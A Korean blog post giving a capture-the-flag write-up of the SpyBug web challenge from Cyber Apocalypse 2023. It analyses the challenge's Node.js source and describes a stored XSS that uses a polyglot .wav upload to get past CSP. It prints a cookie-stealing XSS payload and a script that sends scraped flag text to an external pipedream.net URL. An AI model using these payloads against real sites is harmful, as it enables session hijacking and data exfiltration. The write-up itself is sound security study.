ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Study] Cyber Apocalypse 2023 SpyBug Writeup
    CTF/Cyber Apocalypse 2023 2023. 3. 23. 23:57

    주어진 페이지에 접근하면 로그인 페이지가 나타난다.

    그 외 별다른 기능이 없는것같아서 주어진 소스코드를 분석해보았다.

     

    adminbot.js 라는 흥미로운 파일이 있어서 먼저 분석하여 봇의 행동을 파악 해보았다.

    //adminbot.js
    require("dotenv").config();
    
    const puppeteer = require("puppeteer");
    
    const browserOptions = {
      headless: true,
      executablePath: "/usr/bin/chromium-browser",
      args: [
        "--no-sandbox",
        "--disable-background-networking",
        "--disable-default-apps",
        "--disable-extensions",
        "--disable-gpu",
        "--disable-sync",
        "--disable-translate",
        "--hide-scrollbars",
        "--metrics-recording-only",
        "--mute-audio",
        "--no-first-run",
        "--safebrowsing-disable-auto-update",
        "--js-flags=--noexpose_wasm,--jitless",
      ],
    };
    
    exports.visitPanel = async () => {
      try {
        console.log("[*] admin bot started")
        const browser = await puppeteer.launch(browserOptions);
        let context = await browser.createIncognitoBrowserContext();
        let page = await context.newPage();
    
        await page.goto("http://0.0.0.0:" + process.env.API_PORT, {
          waitUntil: "networkidle2",
          timeout: 5000,
        });
    
        await page.type("#username", "admin");
        await page.type("#password", process.env.ADMIN_SECRET);
        await page.click("#loginButton");
    
        await page.waitForTimeout(5000);
        await browser.close();
      } catch (e) {
        console.log(e);
      }
    };

    브라우저를 열고 로그인 페이지에 접근하여 2초동안 대기 후(5초 동안 응답이 없으면 종료) 로그인을 수행한 후, 5초 대기 후 브라우저를 종료한다.

     

    봇이 로그인 한 후 어떤 화면을 보게 될지 분석해보자.

    //panel.js
    const express = require("express");
    const router = express.Router();
    
    const {
      checkUserLogin,
      getAgents,
      getRecordings,
    } = require("./../utils/database");
    
    const authUser = require("../middleware/authuser");
    
    router.get("/panel", authUser, async (req, res) => {
      res.render("panel", {
        username:
          req.session.username === "admin"
            ? process.env.FLAG
            : req.session.username,
        agents: await getAgents(),
        recordings: await getRecordings(),
      });
    });
    
    router.get("/panel/logout", authUser, (req, res) => {
      req.session.destroy();
      res.redirect("/panel/login");
    });
    
    router.get("/panel/login", (req, res) => {
      res.render("login");
    });
    
    router.post("/panel/login", async (req, res) => {
      let username = req.body.username;
      let password = req.body.password;
    
      if (!(username && password)) return res.sendStatus(400);
      if (!(await checkUserLogin(username, password)))
        return res.redirect("/panel/login");
    
      req.session.loggedin = true;
      req.session.username = username;
    
      res.redirect("/panel");
    });
    
    module.exports = router;

    /panel/login 부분을 보면 로그인 성공 시 /panel 로 리다이렉트를 시킨다.

    /panel 에서는 admin으로 로그인 시 username으로 FLAG가 정의되며, getAgents(), getRecordings()이 수행된다.

     

    뒤 두 메소드가 정의되어 있는 database.js를 분석해보자.

    const bcrypt = require("bcryptjs");
    const { v4: uuidv4 } = require("uuid");
    
    const db = require("./../models");
    const Op = db.Sequelize.Op;
    
    exports.createAdmin = async () => {
      await db.User.sync();
      await db.User.create({
        username: "admin",
        password: bcrypt.hashSync(process.env.ADMIN_SECRET),
      });
    };
    
    exports.checkUserLogin = async (username, password) => {
      const results = await db.User.findOne({
        where: {
          username: username,
        },
      });
    
      if (!results) return false;
    
      if (!bcrypt.compareSync(password, results.password)) return false;
    
      return true;
    };
    
    exports.registerAgent = async () => {
      const agentId = uuidv4();
      const agentToken = uuidv4();
    
      const options = {
        identifier: agentId,
        token: agentToken,
      };
    
      await db.Agent.create(options);
    
      return options;
    };
    
    exports.checkAgentLogin = async (agentId, agentToken) => {
      const results = await db.Agent.findOne({
        where: {
          [Op.and]: [{ identifier: agentId }, { token: agentToken }],
        },
      });
    
      if (!results) return false;
    
      return true;
    };
    
    exports.updateAgentDetails = async (agentId, hostname, platform, arch) => {
      console.log("[*] database/updateAgentDetails started!")
      console.log(agentId)
      console.log(hostname)
      console.log(platform)
      console.log(arch)
      console.log("******************************")
      await db.Agent.update(
        {
          hostname: hostname,
          platform: platform,
          arch: arch,
        },
        {
          where: {
            identifier: agentId,
          },
        }
      );
    };
    
    exports.getAgents = async () => {
      const results = await db.Agent.findAll();
    
      if (!results) return false;
    
      return results;
    };
    
    exports.createRecording = async (agentId, filepath) => {
      console.log("[*] createRecoding started : ")
        console.log(agentId)
        console.log(filepath)
        console.log("*****************")
      await db.Recording.create({
        agentId: agentId,
        filepath: "/uploads/" + filepath,
      });
    };
    
    exports.getRecordings = async () => {
      const results = await db.Recording.findAll();
    
      if (!results) return false;
    
      return results;
    };

    각각 모든 agents 와 recordings 를 불러오는 듯 하다. 참고로 각각의 형태는 아래와 같다.

    // Agents
    module.exports = (sequelize, Sequelize) => {
      const Agent = sequelize.define("agent", {
        identifier: {
          type: Sequelize.STRING,
          allowNull: false,
        },
        token: {
          type: Sequelize.STRING,
          allowNull: false,
        },
        hostname: {
          type: Sequelize.STRING,
          allowNull: true,
        },
        platform: {
          type: Sequelize.STRING,
          allowNull: true,
        },
        arch: {
          type: Sequelize.STRING,
          allowNull: true,
        },
      });
      return Agent;
    };
    
    //Recordings
    module.exports = (sequelize, Sequelize) => {
      const Recording = sequelize.define("recording", {
        filepath: {
          type: Sequelize.STRING,
          allowNull: false,
        },
        agentId: {
          type: Sequelize.STRING,
          allowNull: false,
        },
      });
      return Recording;
    };

    정리하면, admin은 브라우저를 열어서 로그인 페이지를 거쳐 로그인을 한다. 로그인을 하면 admin 권한으로 인해서 모든 agents와 recordings를 조회한다.

    그 과정에서 panel이 어떻게 렌더링되는지 views/panel.pug 파일을 보면 agents의 정보가 !{~~} 형식으로 읽힘을 알 수 있다.

    .pug 는 템플릿 형식의 일종이고, !{} 형태로 쓰이면 HTML 이스케이프가 되지 않아 XSS에 취약 할 수 있다.

    (#{} 방식을 사용해야 한다.) 

    // panel.pug
    doctype html
    head
    	title Spybug | Panel
    	include head.pug
    body
    	div.container.login.mt-5.mb-5
    		div.row
    			div.col-md-10
    				h1
    					i.las.la-satellite-dish
    					|  Spybug v1
    			div.col-md-2.float-right
    				a.btn.login-btn.mt-3(href="/panel/logout") Log-out
    		hr 
    		h2 #{"Welcome back " + username}
    		hr
    		h3
    			i.las.la-laptop
    			|  Agents
    		if agents.length > 0
    			table.w-100
    				thead
    					tr
    					th ID
    					th Hostname
    					th Platform
    					th Arch
    				tbody
    					each agent in agents
    						tr
    							td= agent.identifier
                                // ######################################## XSS
    							td !{agent.hostname}
    							td !{agent.platform}
    							td !{agent.arch}
    		else
    			h2 No agents
    
    		...

     

    따라서, XSS 공격을 염두해두고 더 분석을 해보았다.

     

    해당 문제에는 특이하게 go언어로 작성된 spybug-agent.go 파일이 주어진다. 해당 파일의 행위를 요약하면

    spybug.conf라는 파일에서 agents 의 id와 token을 읽어(혹은 가입하여) agent의 정보(hostname, platform, arch 등)을 업데이트 후 .wav파일을 업로드한다.

     

    처음에는 agent의 정보를 업데이트하는 기능을 활용하여 XSS를 시도하려고 했다. 예를들어 hostname이

    <img src=# onerror=fetch('공격자URL'+document.cookie)>

    가 되도록 하면 admin이 로그인 후 /panel을 조회하면서 XSS가 발생하여 세션을 탈취 할 수 있을 것이다.

     

    하지만 로컬에서 테스트해보니 실패했는데, 그 원인은 아래와 같이 index.js에서 CSP가 script-src 'self' 로 선언되어있었기 때문이다.

    //index.js
    
    require("dotenv").config();
    
    const fs = require("fs");
    const path = require("path");
    const express = require("express");
    const session = require("express-session");
    
    const { createAdmin } = require("./utils/database");
    const { visitPanel } = require("./utils/adminbot");
    
    const genericRoutes = require("./routes/generic");
    const panelRoutes = require("./routes/panel");
    const agentRoutes = require("./routes/agents");
    
    const application = express();
    
    const uploadsPath = path.join(__dirname, "uploads");
    
    if (!fs.existsSync(uploadsPath)) fs.mkdirSync(uploadsPath);
    
    application.use("/uploads", express.static(uploadsPath));
    application.use("/static", express.static(path.join(__dirname, "static")));
    
    application.use(express.urlencoded({ extended: true }));
    application.use(express.json());
    
    application.use(
      session({
        secret: process.env.SESSION_SECRET,
        resave: true,
        saveUninitialized: true,
      })
    );
    
    application.use((req, res, next) => {
      // ******************************************************************
      res.setHeader("Content-Security-Policy", "script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';");
      // ******************************************************************
      res.setHeader("Cache-Control", "no-cache, no-store, must-revalidate");
      res.setHeader("Pragma", "no-cache");
      res.setHeader("Expires", "0");
      next();
    });
    
    application.set("view engine", "pug");
    
    application.use(genericRoutes);
    application.use(panelRoutes);
    application.use(agentRoutes);
    
    application.listen(process.env.API_PORT, "0.0.0.0", async () => {
      console.log(`Listening on port ${process.env.API_PORT}`);
    });
    
    createAdmin();
    
    //// 1분마다 adminbot 실행
    setInterval(visitPanel, 60000);

     

    agent의 또 하나의 기능인 파일 업로드 부분을 분석해보자.

    //agents.js
    
    const fs = require("fs");
    const path = require("path");
    const { v4: uuidv4 } = require("uuid");
    
    const express = require("express");
    const router = express.Router();
    
    const multer = require("multer");
    
    const {
      registerAgent,
      updateAgentDetails,
      createRecording,
    } = require("./../utils/database");
    
    const authAgent = require("../middleware/authagent");
    
    const storage = multer.diskStorage({
      filename: (req, file, cb) => {
        cb(null, uuidv4());
      },
      destination: (req, file, cb) => {
        cb(null, "./uploads");
      },
    });
    
    const multerUpload = multer({ // ********************************** (1)
      storage: storage,
      fileFilter: (req, file, cb) => {
        console.log("[*] multerUpload started!")
        console.log(file.mimetype)
        console.log(file.originalname)
        console.log("***************************")
        if (
          file.mimetype === "audio/wave" &&
          path.extname(file.originalname) === ".wav"
        ) {
          cb(null, true);
        } else {
          return cb(null, false);
        }
      },
    });
    
    router.get("/agents/register", async (req, res) => {
      console.log("[*] agent/register visited!")
      res.status(200).json(await registerAgent());
    });
    
    router.get("/agents/check/:identifier/:token", authAgent, (req, res) => {
      console.log("[*] agent/check visited!")
      res.sendStatus(200);
    });
    
    router.post(
      "/agents/details/:identifier/:token",
      authAgent,
      async (req, res) => {
        const { hostname, platform, arch } = req.body;
        if (!hostname || !platform || !arch) return res.sendStatus(400);
        await updateAgentDetails(req.params.identifier, hostname, platform, arch);
        res.sendStatus(200);
      }
    );
    
    router.post(
      "/agents/upload/:identifier/:token",
      authAgent,
      multerUpload.single("recording"), // ********************************* (1)
      async (req, res) => {
        console.log("[*] upload started?!")
        console.log("req file is..")
        //console.log(req)
        console.log(req.file)
        console.log("***********************************")
        if (!req.file) {
          console.log("[*] req.file false..")
          return res.sendStatus(400);
        }
    
        const filepath = path.join("./uploads/", req.file.filename);
        console.log("[*] filepath : ")
        console.log(filepath)
        console.log("*****************")
        const buffer = fs.readFileSync(filepath).toString("hex");
        console.log("[*] buffer : ")
        console.log(buffer)
        console.log("*****************")
    
        if (!buffer.match(/52494646[a-z0-9]{8}57415645/g)) { // ******** (2)
          fs.unlinkSync(filepath);
          return res.sendStatus(400);
        }
    
        await createRecording(req.params.identifier, req.file.filename);
        
        res.send(req.file.filename);
      }
    );
    
    module.exports = router;

    (1) mime type 이 audio/wave이며 파일 확장자가 .wav여야 함

    (2) 버퍼를 toString("hex") 한 값이 정규식을 만족해야함(.wav파일의 시그니쳐 값을 검사. RIFF~~WAVE )

     

    위 두 조건을 만족하면 파일업로드가 성공하는데, 정확하게 어떻게 구동되는지 파악하기 위해 로컬에서 디버깅을 해봤다.

    조건을 만족하면 임의의 값으로 재정의된 파일명으로 uploads/ 경로에 저장되고, 재정의된 파일명을 response 해주는 듯 했다.

     

    파일 업로드하는 과정에서 검증이 잘 되어있어 webshell파일 업로드는 힘들어보였지만, 파일명이 재정의될때 확장자 정보가 빠진다는 점을 이용하여 시나리오를 구성해보았다.

     

    1.  플래그(admin으로 로그인 시 username으로 플래그가 정의되어 화면에 표기됨)를 읽는 스크립트 작성

    2. 파일 검증을 만족하는 스크립트 파일 구성

     2-1. 파일명은 ~.wav(audio/wave 타입 유지)

     2-2. 스크립트에 시그니쳐 값 포함

    3. 해당 파일을 업로드하여 response로 파일명 확인

    4. agent가 register 후 정보 업데이트를 할때 <script src='/uploads/파일명'></script> 로 작성

    5. admin이 panel에 접근하면서 스크립트 실행(로컬 경로 기반이므로 CSP의 영향을 받지 않음)

     

    우선 주어진 rec.wav 파일의 원본을 주석처리 후 페이지 내 모든 Element값을 조사하여 플래그 형식과 매칭되는 값을 공격자 서버로 전송하는 스크립트 작성

    .wav파일 전체 주석 시 RIFF와 WAVE사이 값의 길이가 8을 넘어가는 경우가 있으므로, RIFFABCDWAVE 로 하드코딩해주는것이 편하다.

    const regex = /HTB{[^}]+}/g;
    const url = 'https://eoo3yq7o4s41lui.m.pipedream.net/';
    
    
    const urls = [];
    const elements = document.getElementsByTagName('*');
    for (let i = 0; i < elements.length; i++) {
      const element = elements[i];
      const elementText = element.textContent || element.innerText || '';
      const matches = elementText.match(regex);
      if (matches) {
        for (let j = 0; j < matches.length; j++) {
          const match = matches[j];
          urls.push(url + match);
        }
      }
    }
    
    // urls에 있는 모든 url에 fetch 요청 보내기
    urls.forEach((url) => {
        console.log(url)
        fetch(url)
    })

     

    해당 파일 업로드

     

    agent에서 스크립트 src 설정

     

    adminbot이 /panel 접근하여 스크립트가 실행되어 공격자 서버로 플래그 값 전송

    위와 같이 설정한 시나리오가 유효하여 플래그를 획득 할 수 있었다.

     * 시간이 조금만 더 있었으면 대회 기간 내 풀 수 있었을텐데 아쉬웠다.

    (이상하게 go파일 agent로 파일 업로드를 시도하면 서버에서 mime type을 잘 못 읽어 파일업로드가 되지 않았다.. 그러다가 혹시나 해서 insomnia로 해보니까 되었는데.. 이 부분에서 시간을 많이 소모했다.)

     

    FLAG = HTB{p01yg10t5_4nd_35p10n4g3}

     

     

     

    반응형

    댓글

Designed by Tistory.